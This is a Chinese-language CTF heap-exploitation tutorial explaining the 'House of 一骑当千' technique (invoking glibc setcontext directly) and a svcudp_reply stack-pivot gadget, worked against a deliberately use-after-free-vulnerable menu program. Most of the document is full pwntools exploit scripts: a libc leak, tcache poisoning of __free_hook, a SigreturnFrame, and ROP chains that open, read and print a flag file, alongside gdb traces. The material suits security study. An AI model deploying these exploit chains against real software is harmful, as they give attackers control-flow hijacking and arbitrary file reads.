house of 一骑当千&&svcudp_reply
原理
通常我们利用 setcontext + 53
通过 rdi 指向的内存给寄存器赋值,但是从 glibc-2-29 开始,setcontext 通过 rdx 指向的内存给寄存器赋值。
通常情况可以采用 gadget 对 rdx 赋值然后跳转到 setcontext gadget 继续执行,但使用 gadget 需要我们能控制 rdi 寄存器指向的内存的前几个字节,并且未来的 glibc 的 setcontext 也可能不再使用 rdx 寄存器。
因此我们需要一个通用的方法比如直接调用 setcontext 函数对寄存器赋值,而这中直接调用 setcontext 的方法就是 House of 一骑当千。
这种方法是看雪中的一个师傅,国资社畜师傅提出来的一种利用方式
这种方式是为了防止以后的setcontext函数,不止从rdi改到rdx,甚至改写成rcx,r15,到那时仅仅依靠一些gadget恐怕难以再次利用,而house of 一骑当千就是利用setcontext本身对其进行赋值
setcontext 函数原型为 int setcontext(const ucontext_t *ucp)
,其中 ucontext_t
结构体定义如下:
struct _libc_fpstate
{
/* 64-bit FXSAVE format. */
__uint16_t __ctx(cwd);
__uint16_t __ctx(swd);
__uint16_t __ctx(ftw);
__uint16_t __ctx(fop);
__uint64_t __ctx(rip);
__uint64_t __ctx(rdp);
__uint32_t __ctx(mxcsr);
__uint32_t __ctx(mxcr_mask);
struct _libc_fpxreg _st[8];
struct _libc_xmmreg _xmm[16];
__uint32_t __glibc_reserved1[24];
};
/* Userlevel context. */
typedef struct ucontext_t
{
unsigned long int __ctx(uc_flags);
struct ucontext_t *uc_link;
stack_t uc_stack;
mcontext_t uc_mcontext;
sigset_t uc_sigmask;
struct _libc_fpstate __fpregs_mem;
__extension__ unsigned long long int __ssp[4];
} ucontext_t;
而这个原型函数只有一个参数,那么这个参数一定是位于rdi寄存器,如果这样的话,那以后不论再依靠什么寄存器,只要我们从原始函数入手,那么就永远会是rdi寄存器
回到题目中,我们普遍是将setcontext函数与frame结构体一同利用,而这个结构体其实就是上面的源代码中的一部分
而这个函数是由汇编所写,除了信号量系统调(__NR_rt_sigprocmask
)用外,无非就是一些赋值操作。在setcontext
函数中,除了对mcontext_t uc_mcontext;
sigset_t uc_sigmask;
struct _libc_fpstate __fpregs_mem __ssp
这4个进行操作外,并没有对其他部分操作,也就是我们可以不关心其他的值。
那我们就需要重点看着四个部分
uc_mcontext
/* Context to describe whole processor state. */
typedef struct
{
gregset_t __ctx(gregs);
/* Note that fpregs is a pointer. */
fpregset_t __ctx(fpregs);
__extension__ unsigned long long __reserved1 [8];
} mcontext_t;
这个就是存储寄存器的结构体,也是我们平时setcontext+53
所使用的地方。有关数据设置和传统利用setcontext+53
时一样即可。
__fpregs_mem
这个所对应的步骤为setcontext
中的如下内容,作用使加载浮点环境,需要可写。偏移为0xe0
。
注意 fpregs
指针需要指向一块可读写内存。
/* Restore the floating-point context. Not the registers, only the
rest. */
movq oFPREGS(%rdx), %rcx
fldenv (%rcx)
uc_sigmask
这个主要是负责信号量,经测试全是0就可以,当然也可以使用其他程序拷贝过来的信号量。
__ssp
这个所对应的步骤为setcontext
中的如下内容,作用使加载 MXCSR 寄存器,经测试0也行,偏移为0x1c0
题目
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
这是题目使用的源代码,大家可以自行编译,题目存在uaf,所以泄露地址和劫持free_hook就不再多说
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/setcontext/house of 一骑当千/ld-linux-x86-64.so.2", "./pwn"],
env={"LD_PRELOAD":"/home/gets/pwn/study/heap/setcontext/house of 一骑当千/libc.so.6"})
def dbg():
gdb.attach(io)
def add(index, size):
io.sendafter("choice:", "1")
io.sendafter("index:", str(index))
io.sendafter("size:", str(size))
def free(index):
io.sendafter("choice:", "2")
io.sendafter("index:", str(index))
def edit(index, content):
io.sendafter("choice:", "3")
io.sendafter("index:", str(index))
io.sendafter("length:", str(len(content)))
io.sendafter("content:", content)
def show(index):
io.sendafter("choice:", "4")
io.sendafter("index:", str(index))
add(0, 0x500)
add(1, 0x18)
free(0)
show(0)
libc.address = u64(io.recvuntil('\x7F')[-6:].ljust(8, b'\x00')) - 0x3b6be0
info("libc base: " + hex(libc.address))
add(0, 0x400)
add(1, 0x400)
free(1)
free(0)
edit(0, p64(libc.sym['__free_hook']))
add(1, 0x400)
add(0, 0x400)#free_hook
随后我们指定一个buf的地址,这个地址是free_hook加0x100,我们是要将其放上flag字符串,从free_hook到buf之间吗,放上我们的orw链
buf_addr = libc.sym['__free_hook'] + 0x100
frame = SigreturnFrame()
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.symbols['open']
frame.rdi = buf_addr
frame.rsi = 0
frame['&fpstate'] = libc.address + 0x3b8000 + 0x1000
frame = bytes(frame)
然后写我们的frame结构体,这个结构体起到open的效果,同时栈迁移到free_hook-8的地方,和正常的写法不一样的是,我们需要额外写一行frame['&fpstate'] = libc.address + 0x3b8000 + 0x1000,后面的这个地址就是随意找的一段可读写的位置,可以使用vmmap去寻找
然后写入payload到free_hook
payload = b''
payload += p64(libc.sym['setcontext'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)
payload += p64(libc.symbols['read'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(libc.symbols['puts'])
payload = payload.ljust(0x100, b'\x00')
payload += './flag\x00'
payload的第一行写上setcontext函数,不需要加53或者61,后面写上rop链,然后向某个堆块写入frame结构体,把它free掉,我们跟着gdb看看
edit(0,payload)
edit(1,frame)
free(1)
程序在free的时候,先执行free hook里面填入的setcontext函数,跳转到里面
而由于我们free的堆块里面填入的是frame结构体,所以这个时候rdi指向这个结构体
而在最开始,执行push rdi语句,把这个堆块地址压入栈中,后续执行了pop rdx,这个时候rdx里面就会放上我们的堆块地址
注意看这个时候的栈
而一直执行到下面两句的时候
0x7fa706895d15 <setcontext+37> mov rcx, qword ptr [rdx + 0xe0] RCX, [0x555556554380] => 0x7fa706c08000 (rdata) ◂— 0
0x7fa706895d1c <setcontext+44> fldenv [rcx]
我们rdx加0xe0的位置,就是上面写的frame结构体多出来的那句,而fldenv语句我们不需要知道,我们只需要知道,这个时候的rcx里面是一段可读写的内存就可以平稳过渡掉这一句
再然后就是正常会执行orw,那么这个方法其实就是放弃一些gadget,而去使用setcontext本身进行利用,而这种方法其实是更加极限的利用手段,防止常用的两个gadget没有了或者后续改成别的寄存器
当然,除了setcontext之外,也有师傅发现了另一个可以起到类似作用的函数,svcudp_reply
svcudp_reply
还是上面这道题,我们先来看一下这个函数
pwndbg> u &svcudp_reply 30
► 0x7fa90f6fef20 <svcudp_reply> push r15
0x7fa90f6fef22 <svcudp_reply+2> push r14
0x7fa90f6fef24 <svcudp_reply+4> push r13
0x7fa90f6fef26 <svcudp_reply+6> mov r13, rsi
0x7fa90f6fef29 <svcudp_reply+9> xor esi, esi ESI => 0
0x7fa90f6fef2b <svcudp_reply+11> push r12
0x7fa90f6fef2d <svcudp_reply+13> push rbx
0x7fa90f6fef2e <svcudp_reply+14> mov rbx, rdi
0x7fa90f6fef31 <svcudp_reply+17> push rbp
0x7fa90f6fef32 <svcudp_reply+18> sub rsp, 0x18
0x7fa90f6fef36 <svcudp_reply+22> mov rbp, qword ptr [rdi + 0x48]
0x7fa90f6fef3a <svcudp_reply+26> mov rax, qword ptr [rbp + 0x18]
0x7fa90f6fef3e <svcudp_reply+30> lea r12, [rbp + 0x10]
0x7fa90f6fef42 <svcudp_reply+34> mov dword ptr [rbp + 0x10], 0
0x7fa90f6fef49 <svcudp_reply+41> mov rdi, r12
0x7fa90f6fef4c <svcudp_reply+44> call qword ptr [rax + 0x28]
0x7fa90f6fef4f <svcudp_reply+47> mov rax, qword ptr [rbp + 8]
0x7fa90f6fef53 <svcudp_reply+51> mov rsi, r13
0x7fa90f6fef56 <svcudp_reply+54> mov rdi, r12
0x7fa90f6fef59 <svcudp_reply+57> mov qword ptr [r13], rax
0x7fa90f6fef5d <svcudp_reply+61> call xdr_replymsg@GLIBC_2.2.5 <xdr_replymsg@GLIBC_2.2.5>
0x7fa90f6fef62 <svcudp_reply+66> test eax, eax
0x7fa90f6fef64 <svcudp_reply+68> je svcudp_reply+128 <svcudp_reply+128>
0x7fa90f6fef66 <svcudp_reply+70> mov rax, qword ptr [rbp + 0x18]
0x7fa90f6fef6a <svcudp_reply+74> mov rdi, r12
0x7fa90f6fef6d <svcudp_reply+77> call qword ptr [rax + 0x20]
0x7fa90f6fef70 <svcudp_reply+80> cmp qword ptr [rbx + 0x78], 0
0x7fa90f6fef75 <svcudp_reply+85> movsxd r12, eax
0x7fa90f6fef78 <svcudp_reply+88> mov r13, r12
0x7fa90f6fef7b <svcudp_reply+91> jne svcudp_reply+152 <svcudp_reply+152>
0x7fa90f6fef7d <svcudp_reply+93> mov rsi, qword ptr [rbx + 0x40]
0x7fa90f6fef81 <svcudp_reply+97> mov r9d, dword ptr [rbx + 0x10]
0x7fa90f6fef85 <svcudp_reply+101> xor ecx, ecx ECX => 0
0x7fa90f6fef87 <svcudp_reply+103> lea r8, [rbx + 0x14]
0x7fa90f6fef8b <svcudp_reply+107> mov edi, dword ptr [rbx]
0x7fa90f6fef8d <svcudp_reply+109> nop
0x7fa90f6fef8e <svcudp_reply+110> mov rdx, r12
0x7fa90f6fef91 <svcudp_reply+113> call sendto <sendto>
0x7fa90f6fef96 <svcudp_reply+118> cmp eax, r13d
0x7fa90f6fef99 <svcudp_reply+121> je svcudp_reply+183 <svcudp_reply+183>
0x7fa90f6fef9b <svcudp_reply+123> nop dword ptr [rax + rax]
0x7fa90f6fefa0 <svcudp_reply+128> xor eax, eax EAX => 0
0x7fa90f6fefa2 <svcudp_reply+130> add rsp, 0x18
0x7fa90f6fefa6 <svcudp_reply+134> pop rbp
0x7fa90f6fefa7 <svcudp_reply+135> pop rbx
0x7fa90f6fefa8 <svcudp_reply+136> pop r12
0x7fa90f6fefaa <svcudp_reply+138> pop r13
0x7fa90f6fefac <svcudp_reply+140> pop r14
0x7fa90f6fefae <svcudp_reply+142> pop r15
0x7fa90f6fefb0 <svcudp_reply+144> ret
这里没有放完,我们需要注意的就是从+22一直到+44的这几个gadget,它同样可以同时完成程序执行流劫持和栈迁移
这个 gadget 在不同的 libc 中使用的寄存器不同,具体视情况而定。比如有的 libc 使用的是 rbx 而不是 rbp 导致无法栈迁移实现对程序执行流程的连续劫持。
利用这个gadget,通过rdi
控制rbp
进而控制rax
并执行跳转,只需要在rax + 0x28
的位置设置leave; ret
即可完成栈迁移.
我们直接从free_hook劫持成功开始写,看看怎么利用
由于这个部分只起到栈迁移的作用,所以我们的payload是包含orw三个部分
payload_addr = libc.sym['__free_hook']
buf_addr = payload_addr + 0x100
rax_addr = payload_addr + 0xb0
payload = b''
payload += p64(libc.sym['svcudp_reply'] + 22)
payload += p64(next(libc.search(asm('pop r14; pop r15; ret;'), executable=True)))
payload += b'a' * 8
payload += p64(rax_addr)
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(0)
payload += p64(libc.sym['open'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)
payload += p64(libc.sym['read'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(libc.sym['puts'])
assert len(payload) <= rax_addr - payload_addr
payload = payload.ljust(rax_addr - payload_addr, b'\x00')
payload += b'b' * 0x28
payload += p64(next(libc.search(asm('leave; ret;'), executable=True)))
payload = payload.ljust(0x100, b'\x00')
payload += b"./flag\x00"
edit(0, payload)
edit(1, b'c' * 0x48 + p64(libc.sym['__free_hook']))
free(1)
我们先放好exp,然后gdb动态调试告诉大家为什么这么写
把payload放进free_hook之后,我们会先跳转到svcudp_reply+22这个位置
那么这个时候,会把rdi+0x48的位置取出来给到rbp,而我们rdi指向的是1号堆块,也就是edit(1, b'c' * 0x48 + p64(libc.sym['__free_hook']))这一句,加0x48的位置就是我们的free_hook地址
*RBP 0x7fa90f993e48 (__free_hook) —▸ 0x7fa90f6fef36 (svcudp_reply+22) ◂— mov rbp, qword ptr [rdi + 0x48]
可以看到,此时的栈底就被放在了free_hook的位置,然后执行mov rax, qword ptr [rbp + 0x18],这个时候的rbp就是free_hook,加上0x18刚好是我们payload中的那句p64(rax_addr),随后执行call qword ptr [rax + 0x28],也就是执行rax_addr+0x28的位置,而这个位置其实就是payload里面28个b之后的leave ret语句
然后就会进行栈迁移,迁移到我们的payload的第二句,而这里面要放上两句pop,随意寄存器都可以,目的是为了把后面的8个字节的垃圾数据和rax_addr给弹出栈,防止后续的执行,再后面就会依次执行orw,最后成功获得flag
最后附上完整的exp
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/setcontext/svcudp_reply/ld-linux-x86-64.so.2", "./pwn"],
env={"LD_PRELOAD":"/home/gets/pwn/study/heap/setcontext/svcudp_reply/libc.so.6"})
def dbg():
gdb.attach(io)
def add(index, size):
io.sendafter("choice:", "1")
io.sendafter("index:", str(index))
io.sendafter("size:", str(size))
def free(index):
io.sendafter("choice:", "2")
io.sendafter("index:", str(index))
def edit(index, content):
io.sendafter("choice:", "3")
io.sendafter("index:", str(index))
io.sendafter("length:", str(len(content)))
io.sendafter("content:", content)
def show(index):
io.sendafter("choice:", "4")
io.sendafter("index:", str(index))
add(0, 0x500)
add(1, 0x18)
free(0)
show(0)
libc.address = u64(io.recvuntil('\x7F')[-6:].ljust(8, b'\x00')) - 0x3b6be0
info("libc base: " + hex(libc.address))
add(0, 0x400)
add(1, 0x400)
free(1)
free(0)
edit(0, p64(libc.sym['__free_hook']))
add(1, 0x400)
add(0, 0x400)#free_hook
payload_addr = libc.sym['__free_hook']
buf_addr = payload_addr + 0x100
rax_addr = payload_addr + 0xb0
payload = b''
payload += p64(libc.sym['svcudp_reply'] + 22)
payload += p64(next(libc.search(asm('pop r14; pop r15; ret;'), executable=True)))
payload += b'a' * 8
payload += p64(rax_addr)
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(0)
payload += p64(libc.sym['open'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)
payload += p64(libc.sym['read'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(libc.sym['puts'])
assert len(payload) <= rax_addr - payload_addr
payload = payload.ljust(rax_addr - payload_addr, b'\x00')
payload += b'b' * 0x28
payload += p64(next(libc.search(asm('leave; ret;'), executable=True)))
payload = payload.ljust(0x100, b'\x00')
payload += b"./flag\x00"
edit(0, payload)
edit(1, b'c' * 0x48 + p64(libc.sym['__free_hook']))
free(1)
io.interactive()